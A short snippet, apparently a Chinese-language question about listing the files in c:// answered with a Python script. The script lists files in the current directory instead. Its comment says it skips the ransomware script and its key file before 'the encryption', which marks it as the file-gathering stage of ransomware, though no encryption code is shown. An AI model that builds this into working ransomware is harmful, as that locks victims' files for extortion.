问如何查找目录c://中的所有文件

EN

#!/usr/bin/env python3

import os

files = []
for file in os.listdir():
    if file == "vol.py" or file == "thekey.key": ## ignore in the encryption - ransomware and thekey files
            continue
    if os.path.isfile(file):
            files.append(file)

print(files)